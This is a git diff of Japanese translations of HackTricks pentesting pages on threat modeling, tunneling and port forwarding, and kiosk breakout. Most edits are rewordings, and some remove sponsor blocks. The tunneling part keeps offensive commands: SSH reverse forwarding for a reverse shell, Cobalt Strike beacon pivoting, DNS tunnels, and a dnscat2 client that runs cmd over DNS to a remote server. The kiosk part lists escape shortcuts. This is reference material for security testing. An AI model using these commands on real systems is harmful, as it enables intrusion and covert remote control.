+脅威モデルは通常、アプリケーションの計画されたアーキテクチャまたは既存の構築を示す図、画像、または他の形式の視覚的なイラストレーションとして表現されます。これは**データフローダイアグラム**に似ていますが、重要な違いはそのセキュリティ指向の設計にあります。 -脅威モデルには、潜在的な脆弱性、リスク、または障壁を示す赤でマークされた要素がしばしば含まれます。リスクの特定プロセスを効率化するために、CIA(機密性、整合性、可用性)トライアドが使用され、STRIDEが最も一般的なものの1つです。ただし、選択される方法論は、特定の文脈や要件に応じて異なる場合があります。 +脅威モデルには、潜在的な脆弱性、リスク、または障壁を象徴する赤でマークされた要素がしばしば含まれています。リスクの特定プロセスを簡素化するために、CIA(機密性、完全性、可用性)トライアドが使用され、多くの脅威モデリング手法の基礎を形成しています。STRIDEは最も一般的なものの一つです。ただし、選択された手法は特定の文脈や要件に応じて異なる場合があります。 ### CIAトライアド -CIAトライアドは、情報セキュリティ分野で広く認識されており、機密性、整合性、可用性を表しています。これらの3つの柱は、脅威モデリング方法論を含む多くのセキュリティ対策やポリシーの基盤を形成しており、それぞれの脅威モデリング方法論の基礎となっています。 +CIAトライアドは、情報セキュリティの分野で広く認識されているモデルで、機密性、完全性、可用性を表します。この3つの柱は、多くのセキュリティ対策やポリシーの基盤を形成し、脅威モデリング手法も含まれます。 -1. **機密性**:データやシステムが不正な個人によってアクセスされないようにすること。これはセキュリティの中心的な側面であり、データ漏洩を防ぐために適切なアクセス制御、暗号化、およびその他の対策が必要です。 -2. **整合性**:データの正確性、一貫性、信頼性をデータのライフサイクル全体で確保すること。この原則は、データが不正な者によって変更されたり改ざんされたりしないようにします。これには、チェックサム、ハッシュ、およびその他のデータ検証方法がしばしば含まれます。 -3. **可用性**:データとサービスが必要な時に認証されたユーザーにアクセス可能であることを確保すること。これには、システムが障害に直面しても稼働し続けるようにするための冗長性、障害耐性、高可用性構成がしばしば含まれます。 +1. **機密性**: データやシステムが不正な個人によってアクセスされないことを保証します。これはセキュリティの中心的な側面であり、データ侵害を防ぐために適切なアクセス制御、暗号化、その他の対策が必要です。 +2. **完全性**: データのライフサイクルにわたる正確性、一貫性、信頼性。これは、データが不正な当事者によって変更または改ざんされないことを保証します。通常、チェックサム、ハッシュ、その他のデータ検証方法が含まれます。 +3. **可用性**: データとサービスが必要なときに正当なユーザーにアクセス可能であることを保証します。これは、冗長性、フォールトトレランス、高可用性の構成を含むことが多く、システムが中断に直面しても稼働し続けることを目的としています。 -### 脅威モデリング方法論 +### 脅威モデリング手法 -1. **STRIDE**:Microsoftによって開発されたSTRIDEは、**スプーフィング、改ざん、否認、情報開示、サービス妨害、特権昇格**を表す頭字語です。各カテゴリは脅威のタイプを表し、この方法論は潜在的な脅威を特定するためにプログラムやシステムの設計段階で一般的に使用されます。 -2. **DREAD**:これはMicrosoftの別の方法論で、特定された脅威のリスク評価に使用されます。DREADは**損害の可能性、再現性、悪用可能性、影響を受けるユーザー、発見可能性**を表しています。これらの要素はスコア付けされ、その結果は特定された脅威の優先順位付けに使用されます。 -3. **PASTA**(攻撃シミュレーションおよび脅威分析プロセス):これは7つのステップからなる**リスク中心**の方法論です。セキュリティ目標の定義と特定、技術的範囲の作成、アプリケーション分解、脅威分析、脆弱性分析、リスク/トリアージ評価を含みます。 -4. **Trike**:これは資産の防御に焦点を当てたリスクベースの方法論です。リスク管理の観点から始まり、その文脈で脅威と脆弱性を考えます。 -5. **VAST**(ビジュアル、アジャイル、シンプル脅威モデリング):このアプローチは、アジャイル開発環境に統合されやすく、アクセスしやすいことを目指しています。他の方法論から要素を組み合わせ、**脅威の視覚的表現**に焦点を当てています。 -6. **OCTAVE**(運用上重要な脅威、資産、脆弱性評価):CERT Coordination Centerによって開発されたこのフレームワークは、**特定のシステムやソフトウェアではなく組織のリスク評価**に向けられています。 +1. **STRIDE**: Microsoftによって開発されたSTRIDEは、**なりすまし、改ざん、否認、情報漏洩、サービス拒否、特権昇格**の頭字語です。各カテゴリは脅威のタイプを表し、この手法はプログラムやシステムの設計段階で潜在的な脅威を特定するために一般的に使用されます。 +2. **DREAD**: これは、特定された脅威のリスク評価に使用されるMicrosoftの別の手法です。DREADは、**損害の可能性、再現性、悪用可能性、影響を受けるユーザー、発見可能性**の頭字語です。これらの要素はそれぞれスコア付けされ、その結果を使用して特定された脅威の優先順位を決定します。 +3. **PASTA**(攻撃シミュレーションと脅威分析のプロセス): これは7ステップの**リスク中心**の手法です。セキュリティ目標の定義と特定、技術的範囲の作成、アプリケーションの分解、脅威分析、脆弱性分析、リスク/トリアージ評価が含まれます。 +4. **Trike**: これは資産を防御することに焦点を当てたリスクベースの手法です。**リスク管理**の視点から始まり、その文脈で脅威と脆弱性を見ます。 +5. **VAST**(視覚的、アジャイル、シンプルな脅威モデリング): このアプローチは、よりアクセスしやすく、アジャイル開発環境に統合されることを目指しています。他の手法の要素を組み合わせ、**脅威の視覚的表現**に焦点を当てています。 +6. **OCTAVE**(運用上重要な脅威、資産、脆弱性評価): CERTコーディネーションセンターによって開発されたこのフレームワークは、**特定のシステムやソフトウェアではなく、組織のリスク評価**を目的としています。 ## ツール -脅威モデルの作成と管理を**支援**するために利用可能ないくつかのツールやソフトウェアソリューションがあります。以下は、検討する価値のあるいくつかのものです。 +脅威モデルの作成と管理を**支援**するために利用できるツールやソフトウェアソリューションがいくつかあります。以下は、検討する価値のあるいくつかのツールです。 ### [SpiderSuite](https://github.com/3nock/SpiderSuite) -サイバーセキュリティ専門家向けの高度なクロスプラットフォームおよび多機能GUIウェブスパイダー/クローラーです。Spider Suiteは攻撃面のマッピングと分析に使用できます。 +サイバーセキュリティ専門家向けの高度なクロスプラットフォームおよび多機能GUIウェブスパイダー/クローラー。Spider Suiteは攻撃面のマッピングと分析に使用できます。 -**使用方法** +**使用法** -1. URLを選択してクロール +1. URLを選択し、クロール
@@ -66,19 +53,19 @@ CIAトライアドは、情報セキュリティ分野で広く認識されて ### [OWASP Threat Dragon](https://github.com/OWASP/threat-dragon/releases) -OWASPのオープンソースプロジェクトであるThreat Dragonは、システムダイアグラム作成と脅威/緩和の自動生成のためのルールエンジンを含むWebおよびデスクトップアプリケーションです。 +OWASPのオープンソースプロジェクトであるThreat Dragonは、システムダイアグラム作成と脅威/緩和策を自動生成するルールエンジンを含むウェブおよびデスクトップアプリケーションです。 -**使用方法** +**使用法** 1. 新しいプロジェクトを作成
-時々、以下のように見えるかもしれません: +時にはこのように見えることもあります:
-2. 新しいプロジェクトを起動 +2. 新しいプロジェクトを開始
@@ -88,49 +75,38 @@ OWASPのオープンソースプロジェクトであるThreat Dragonは、シ 4. モデルを作成 -SpiderSuite Crawlerなどのツールを使用して、基本的なモデルは次のようになります +SpiderSuite Crawlerのようなツールを使用してインスピレーションを得ることができます。基本的なモデルは次のようになります。
-エンティティについて少し説明します: +エンティティについての簡単な説明: -* プロセス(WebサーバーやWeb機能などのエンティティ自体) -* アクター(Webサイトの訪問者、ユーザー、管理者などの人物) +* プロセス(Webサーバーやウェブ機能などのエンティティ自体) +* アクター(ウェブサイト訪問者、ユーザー、管理者などの人) * データフローライン(相互作用の指標) * 信頼境界(異なるネットワークセグメントやスコープ) -* ストア(データが保存される場所、例:データベース) +* ストア(データが保存される場所、例えばデータベース) 5. 脅威を作成(ステップ1) -最初に脅威を追加したいレイヤーを選択する必要があります +脅威を追加したいレイヤーを選択する必要があります。
-今、脅威を作成できます +脅威を作成できます。
-アクター脅威とプロセス脅威の違いに注意してください。アクターに脅威を追加すると、「スプーフィング」と「否認」のみを選択できます。ただし、この例ではプロセスエンティティに脅威を追加するため、脅威作成ボックスには次のように表示されます: +アクターモデルの脅威とプロセスモデルの脅威には違いがあることに注意してください。アクターに脅威を追加する場合、「なりすまし」と「否認」しか選択できません。しかし、私たちの例ではプロセスエンティティに脅威を追加するので、脅威作成ボックスには次のように表示されます:
6. 完了 -これで、完成したモデルは次のようになります。これがOWASP Threat Dragonを使用してシンプルな脅威モデルを作成する方法です。 +完成したモデルは次のようになります。これがOWASP Threat Dragonを使用してシンプルな脅威モデルを作成する方法です。
+ ### [Microsoft Threat Modeling Tool](https://aka.ms/threatmodelingtool) -これはMicrosoftからの無料ツールで、ソフトウェアプロジェクトの設計フェーズで脅威を見つけるのに役立ちます。STRIDEメソドロジーを使用し、特にMicrosoftのスタックで開発している人に適しています。 - -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io)は**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**スティーラーマルウェア**によって**侵害**されていないかをチェックするための**無料**機能を提供しています。 - -WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 - -彼らのウェブサイトをチェックして、**無料**でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} +これはMicrosoftからの無料ツールで、ソフトウェアプロジェクトの設計段階で脅威を見つけるのに役立ちます。STRIDE手法を使用しており、特にMicrosoftのスタックで開発している人に適しています。 diff --git a/generic-methodologies-and-resources/tunneling-and-port-forwarding.md b/generic-methodologies-and-resources/tunneling-and-port-forwarding.md index f6b1ce7d8..4dba210d7 100644 --- a/generic-methodologies-and-resources/tunneling-and-port-forwarding.md +++ b/generic-methodologies-and-resources/tunneling-and-port-forwarding.md @@ -10,19 +10,11 @@ GCPハッキングを学び、実践する:
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Nmapのヒント {% hint style="warning" %} @@ -79,7 +71,7 @@ ssh -f -N -D @ #All sent to local port ``` ### リバースポートフォワーディング -これは、DMZを通じて内部ホストからあなたのホストへのリバースシェルを取得するのに役立ちます: +これは、DMZを通じて内部ホストからあなたのホストにリバースシェルを取得するのに役立ちます: ```bash ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN # Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000 @@ -156,7 +148,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ### SOCKSプロキシ -すべてのインターフェースでリッスンしているチームサーバーにポートを開き、**ビコーンを通じてトラフィックをルーティングする**ことができます。 +すべてのインターフェースでリッスンしているteamserverでポートを開き、**ビコーンを通じてトラフィックをルーティングする**ことができます。 ```bash beacon> socks 1080 [+] started SOCKS4a server on: 1080 @@ -167,7 +159,7 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25 ### rPort2Port {% hint style="warning" %} -この場合、**ポートはビーコーンホストで開かれます**、チームサーバーではなく、トラフィックはチームサーバーに送信され、そこから指定されたホスト:ポートに送られます。 +この場合、**ポートはビーコーンホストで開かれます**。チームサーバーではなく、トラフィックはチームサーバーに送信され、そこから指定されたホスト:ポートに送られます。 {% endhint %} ```bash rportfwd [bind port] [forward host] [forward port] @@ -302,7 +294,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o ``` ## Plink.exe -コンソール版のPuTTYのようなもので(オプションはsshクライアントに非常に似ています)。 +これはコンソール版のPuTTYのようなもので(オプションはsshクライアントに非常に似ています)。 このバイナリは被害者のコンピュータで実行され、sshクライアントであるため、リバース接続を確立するためにsshサービスとポートを開く必要があります。次に、ローカルでアクセス可能なポートを私たちのマシンのポートに転送するには: ```bash @@ -328,8 +320,8 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 **システムへのRDPアクセスが必要です**。\ ダウンロード: -1. [SocksOverRDP x64 バイナリ](https://github.com/nccgroup/SocksOverRDP/releases) - このツールは、Windowsのリモートデスクトップサービス機能からの`Dynamic Virtual Channels`(`DVC`)を使用します。DVCは**RDP接続を介してパケットをトンネリングする**役割を担っています。 -2. [Proxifier ポータブルバイナリ](https://www.proxifier.com/download/#win-tab) +1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - このツールは、Windowsのリモートデスクトップサービス機能からの`Dynamic Virtual Channels`(`DVC`)を使用します。DVCは**RDP接続を介してパケットをトンネリングする**役割を担っています。 +2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab) クライアントコンピュータで**`SocksOverRDP-Plugin.dll`**を次のように読み込みます: ```bash @@ -346,13 +338,13 @@ C:\SocksOverRDP-x64> SocksOverRDP-Server.exe ``` netstat -antb | findstr 1080 ``` -今、[**Proxifier**](https://www.proxifier.com/) **を使用してそのポートを通じてトラフィックをプロキシできます。** +今、[**Proxifier**](https://www.proxifier.com/) **を使用して、そのポートを通じてトラフィックをプロキシできます。** ## Windows GUIアプリをプロキシ化する -[**Proxifier**](https://www.proxifier.com/)を使用して、Windows GUIアプリがプロキシを通じてナビゲートできるようにします。\ +[**Proxifier**](https://www.proxifier.com/)を使用して、Windows GUIアプリをプロキシ経由でナビゲートさせることができます。\ **Profile -> Proxy Servers** でSOCKSサーバーのIPとポートを追加します。\ -**Profile -> Proxification Rules** でプロキシ化するプログラムの名前とプロキシ化したいIPへの接続を追加します。 +**Profile -> Proxification Rules** でプロキシ化するプログラムの名前と、プロキシ化したいIPへの接続を追加します。 ## NTLMプロキシバイパス @@ -365,7 +357,7 @@ http-proxy 8080 ntlm [http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/) -プロキシに対して認証を行い、指定した外部サービスに転送されるローカルポートをバインドします。これにより、このポートを介してお好みのツールを使用できます。\ +プロキシに対して認証を行い、指定した外部サービスに転送されるローカルポートをバインドします。これにより、このポートを通じてお好みのツールを使用できます。\ 例えば、ポート443を転送します。 ``` Username Alice @@ -375,7 +367,7 @@ Proxy 10.0.0.10:8080 Tunnel 2222::443 ``` 今、例えば被害者の**SSH**サービスをポート443でリッスンするように設定した場合、攻撃者はポート2222を通じて接続できます。\ -また、**meterpreter**を使用してlocalhost:443に接続し、攻撃者がポート2222でリッスンしていることも可能です。 +また、**meterpreter**を使用してlocalhost:443に接続し、攻撃者がポート2222でリッスンしていることもできます。 ## YARP @@ -387,7 +379,7 @@ Microsoftによって作成されたリバースプロキシです。こちら [https://code.kryo.se/iodine/](https://code.kryo.se/iodine/) -DNSクエリを使用してトンネルデータを作成するためには、両方のシステムでroot権限が必要です。 +両方のシステムでルート権限が必要で、DNSクエリを使用してトンネルアダプタを作成し、データをそれらの間でトンネルします。 ``` attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com victim> iodine -f -P P@ssw0rd tunneldomain.com -r @@ -412,7 +404,7 @@ victim> ./dnscat2 --dns host=10.10.10.10,port=5353 ``` #### **PowerShellで** -[**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell)を使用して、PowerShellでdnscat2クライアントを実行できます: +[**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell)を使用して、PowerShellでdnscat2クライアントを実行できます: ``` Import-Module .\dnscat2.ps1 Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd @@ -424,7 +416,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b ``` #### プロキシチェインのDNSを変更する -Proxychainsは`gethostbyname` libcコールをインターセプトし、tcp DNSリクエストをsocksプロキシを通してトンネリングします。**デフォルト**では、proxychainsが使用する**DNS**サーバーは**4.2.2.2**(ハードコーディングされています)。これを変更するには、ファイルを編集します: _/usr/lib/proxychains3/proxyresolv_ そしてIPを変更します。**Windows環境**にいる場合は、**ドメインコントローラー**のIPを設定できます。 +Proxychainsは`gethostbyname` libcコールをインターセプトし、tcp DNSリクエストをsocksプロキシを通じてトンネリングします。**デフォルト**では、proxychainsが使用する**DNS**サーバーは**4.2.2.2**(ハードコーディングされています)。これを変更するには、ファイルを編集します: _/usr/lib/proxychains3/proxyresolv_ そしてIPを変更します。**Windows環境**にいる場合は、**ドメインコントローラー**のIPを設定できます。 ## Goでのトンネル @@ -495,7 +487,7 @@ chmod a+x ./ngrok ``` #### HTTPコールのスニッフィング -*XSS、SSRF、SSTIに便利...* +*XSS、SSRF、SSTIに役立ちます...* stdoutから直接、またはHTTPインターフェース [http://127.0.0.1:4040](http://127.0.0.1:4000) で。 #### 内部HTTPサービスのトンネリング @@ -509,7 +501,7 @@ stdoutから直接、またはHTTPインターフェース [http://127.0.0.1:404 3つのトンネルを開きます: - 2つのTCP -- 1つのHTTP、/tmp/httpbin/ からの静的ファイルの公開 +- /tmp/httpbin/ からの静的ファイルの公開を伴う1つのHTTP ```yaml tunnels: mytcp: @@ -527,14 +519,6 @@ addr: file:///tmp/httpbin/ * [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf) * [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - {% hint style="success" %} AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) @@ -545,7 +529,7 @@ GCPハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCPハッキングの学習と実践: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-HackTricksのサポート +HackTricksをサポートする -* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェック! -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 -* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングテクニックを共有してください。 +* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してハッキングトリックを共有してください。**
{% endhint %} -#### [WhiteIntel](https://whiteintel.io) -
- -[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗聴マルウェア**によって**侵害**されていないかをチェックする**無料**の機能を提供しています。 - -WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。 - -彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} --- -## 物理デバイスのチェック +## 物理デバイスの確認 | コンポーネント | アクション | | ------------- | -------------------------------------------------------------------- | -| 電源ボタン | デバイスの電源を切って再度入れると、スタート画面が表示される可能性があります | -| 電源ケーブル | 電源が一時的に切断されたときにデバイスが再起動するかどうかを確認します | -| USBポート | より多くのショートカットを持つ物理キーボードを接続します | -| イーサネット | ネットワークスキャンやスニッフィングにより、さらなる攻撃が可能になるかもしれません | +| 電源ボタン | デバイスをオフにして再度オンにすると、スタート画面が表示される場合があります | +| 電源ケーブル | 電源が一時的に切れたときにデバイスが再起動するか確認する | +| USBポート | 物理キーボードを接続してショートカットを増やす | +| Ethernet | ネットワークスキャンやスニッフィングによりさらなる悪用が可能になる場合があります | -## GUIアプリケーション内での可能なアクションをチェック +## GUIアプリケーション内での可能なアクションの確認 -**一般的なダイアログ**は、**ファイルの保存**、**ファイルの開く**、フォントの選択、色の選択などのオプションです。ほとんどの場合、これらのオプションにアクセスできれば、**完全なエクスプローラ機能**を利用できます。 +**一般的なダイアログ**は、**ファイルの保存**、**ファイルのオープン**、フォントや色の選択などのオプションです。これらの多くは**完全なエクスプローラー機能を提供します**。これは、これらのオプションにアクセスできれば、エクスプローラー機能にアクセスできることを意味します: -* 閉じる/閉じるとして保存 -* 開く/開くとして +* 閉じる/名前を付けて閉じる +* 開く/別のアプリで開く * 印刷 * エクスポート/インポート * 検索 * スキャン -次のことをチェックすべきです: +次のことができるか確認してください: -* ファイルの変更または新規作成 -* シンボリックリンクの作成 -* 制限された領域へのアクセス -* 他のアプリの実行 +* 新しいファイルを修正または作成する +* シンボリックリンクを作成する +* 制限された領域にアクセスする +* 他のアプリを実行する -### コマンドの実行 +### コマンド実行 -おそらく`開くとして`オプションを使用して、ある種のシェルを開いたり実行したりできるかもしれません。 +おそらく**`Open with`**オプションを使用して、何らかのシェルを開く/実行することができます。 #### Windows -例えば _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ ここでコマンドを実行するために使用できる他のバイナリを見つける: [https://lolbas-project.github.io/](https://lolbas-project.github.io) +例えば_cmd.exe、command.com、Powershell/Powershell ISE、mmc.exe、at.exe、taskschd.msc..._ ここでコマンドを実行するために使用できるバイナリをさらに見つけることができます:[https://lolbas-project.github.io/](https://lolbas-project.github.io) #### \*NIX \_\_ -_bash, sh, zsh..._ ここで詳細を確認: [https://gtfobins.github.io/](https://gtfobins.github.io) +_bash、sh、zsh..._ さらにこちら:[https://gtfobins.github.io/](https://gtfobins.github.io) ## Windows -### パス制限のバイパス +### パス制限の回避 -* **環境変数**: 特定のパスを指す多くの環境変数があります -* **その他のプロトコル**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_ +* **環境変数**:いくつかのパスを指している環境変数がたくさんあります +* **他のプロトコル**:_about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_ * **シンボリックリンク** -* **ショートカット**: CTRL+N (新しいセッションを開く), CTRL+R (コマンドを実行), CTRL+SHIFT+ESC (タスクマネージャ), Windows+E (エクスプローラを開く), CTRL-B, CTRL-I (お気に入り), CTRL-H (履歴), CTRL-L, CTRL-O (ファイル/開くダイアログ), CTRL-P (印刷ダイアログ), CTRL-S (名前を付けて保存) -* 隠し管理メニュー: CTRL-ALT-F8, CTRL-ESC-F9 -* **シェルURI**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_ -* **UNCパス**: 共有フォルダに接続するパス。ローカルマシンのC$に接続してみてください ("\\\127.0.0.1\c$\Windows\System32") -* **その他のUNCパス:** +* **ショートカット**:CTRL+N(新しいセッションを開く)、CTRL+R(コマンドを実行)、CTRL+SHIFT+ESC(タスクマネージャー)、Windows+E(エクスプローラーを開く)、CTRL-B、CTRL-I(お気に入り)、CTRL-H(履歴)、CTRL-L、CTRL-O(ファイル/オープンダイアログ)、CTRL-P(印刷ダイアログ)、CTRL-S(名前を付けて保存) +* 隠し管理メニュー:CTRL-ALT-F8、CTRL-ESC-F9 +* **シェルURI**:_shell:Administrative Tools、shell:DocumentsLibrary、shell:Librariesshell:UserProfiles、shell:Personal、shell:SearchHomeFolder、shell:Systemshell:NetworkPlacesFolder、shell:SendTo、shell:UsersProfiles、shell:Common Administrative Tools、shell:MyComputerFolder、shell:InternetFolder_ +* **UNCパス**:共有フォルダーに接続するためのパス。ローカルマシンのC$に接続してみてください("\\\127.0.0.1\c$\Windows\System32") +* **その他のUNCパス:** | UNC | UNC | UNC | | ------------------------- | -------------- | -------------------- | @@ -94,13 +84,13 @@ _bash, sh, zsh..._ ここで詳細を確認: [https://gtfobins.github.io/](https | %TMP% | %USERDOMAIN% | %USERNAME% | | %USERPROFILE% | %WINDIR% | | -### バイナリのダウンロード +### バイナリをダウンロードする -Console: [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\ -Explorer: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\ -レジストリエディタ: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/) +コンソール:[https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\ +エクスプローラー:[https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\ +レジストリエディタ:[https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/) -### ブラウザからファイルシステムにアクセス +### ブラウザからファイルシステムにアクセスする | PATH | PATH | PATH | PATH | | ------------------- | ----------------- | ------------------ | ------------------- | @@ -111,25 +101,26 @@ Explorer: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/]( | C:\windows\\ | C:\windows/ | %WINDIR% | %TMP% | | %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% | | %HOMEDRIVE% | %HOMESHARE | |


| + ### ショートカット * スティッキーキー – SHIFTを5回押す * マウスキー – SHIFT+ALT+NUMLOCK * ハイコントラスト – SHIFT+ALT+PRINTSCN -* トグルキー – NUMLOCKを5秒間押し続ける -* フィルターキー – 右SHIFTを12秒間押し続ける +* トグルキー – NUMLOCKを5秒間保持する +* フィルターキー – 右SHIFTを12秒間保持する * WINDOWS+F1 – Windows検索 * WINDOWS+D – デスクトップを表示 * WINDOWS+E – Windowsエクスプローラーを起動 * WINDOWS+R – 実行 -* WINDOWS+U – 利便性センター +* WINDOWS+U – アクセシビリティセンター * WINDOWS+F – 検索 * SHIFT+F10 – コンテキストメニュー * CTRL+SHIFT+ESC – タスクマネージャー -* CTRL+ALT+DEL – 新しいWindowsバージョンのスプラッシュスクリーン +* CTRL+ALT+DEL – 新しいWindowsバージョンでのスプラッシュ画面 * F1 – ヘルプ F3 – 検索 * F6 – アドレスバー -* F11 – Internet Explorer内でのフルスクリーンの切り替え +* F11 – Internet Explorer内で全画面表示を切り替え * CTRL+H – Internet Explorerの履歴 * CTRL+T – Internet Explorer – 新しいタブ * CTRL+N – Internet Explorer – 新しいページ @@ -138,20 +129,20 @@ Explorer: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/]( ### スワイプ -* 左側から右側にスワイプしてすべての開いているウィンドウを表示し、KIOSKアプリを最小化してOS全体に直接アクセスします。 -* 右側から左側にスワイプしてアクションセンターを開き、KIOSKアプリを最小化してOS全体に直接アクセスします。 -* 上端からスワイプしてフルスクリーンモードで開いているアプリのタイトルバーを表示します。 -* 下端からスワイプしてフルスクリーンアプリでタスクバーを表示します。 +* 左側から右にスワイプしてすべてのウィンドウを表示し、KIOSKアプリを最小化してOS全体に直接アクセスする; +* 右側から左にスワイプしてアクションセンターを開き、KIOSKアプリを最小化してOS全体に直接アクセスする; +* 上端からスワイプして全画面モードで開いているアプリのタイトルバーを表示する; +* 下からスワイプして全画面アプリでタスクバーを表示する。 ### Internet Explorerのトリック -#### 'Image Toolbar' +#### '画像ツールバー' -画像をクリックすると画像の左上に表示されるツールバーです。保存、印刷、メール送信、エクスプローラーで「マイピクチャー」を開くことができます。KioskはInternet Explorerを使用する必要があります。 +画像をクリックすると左上に表示されるツールバーです。保存、印刷、メール送信、エクスプローラーで「マイピクチャ」を開くことができます。KIOSKはInternet Explorerを使用している必要があります。 #### シェルプロトコル -これらのURLを入力してエクスプローラービューを取得します: +エクスプローラー表示を取得するためにこのURLを入力します: * `shell:Administrative Tools` * `shell:DocumentsLibrary` @@ -171,72 +162,72 @@ Explorer: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/]( * `Shell:ControlPanelFolder` * `Shell:Windows` * `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> コントロールパネル -* `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> マイコンピューター -* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> マイネットワークプレイス +* `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> マイコンピュータ +* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> マイネットワーク * `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer ### ファイル拡張子の表示 -詳細は次のページを参照してください:[https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml) +詳細についてはこのページを確認してください:[https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml) ## ブラウザのトリック -iKatバージョンのバックアップ: +iKatのバックアップバージョン: [http://swin.es/k/](http://swin.es/k/)\ [http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\ -JavaScriptを使用して共通のダイアログを作成し、ファイルエクスプローラーにアクセスします: `document.write('')`\ -出典:https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811defa0 +JavaScriptを使用して共通のダイアログを作成し、ファイルエクスプローラーにアクセスする:`document.write('')`\ +ソース:https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811defa0 ## iPad ### ジェスチャーとボタン -* 4本(または5本)の指で上にスワイプ/ホームボタンを2回タップ:マルチタスクビューを表示してアプリを切り替える -* 4本または5本の指で片方向にスワイプ:次の/前のアプリに切り替える -* 5本の指で画面をつまむ/ホームボタンをタッチ/画面下部から上に素早く1本の指でスワイプ:ホームにアクセス -* 画面下部から1-2インチ上に1本の指でゆっくりスワイプ:ドックが表示されます -* 画面上部から1本の指で下にスワイプ:通知を表示します -* 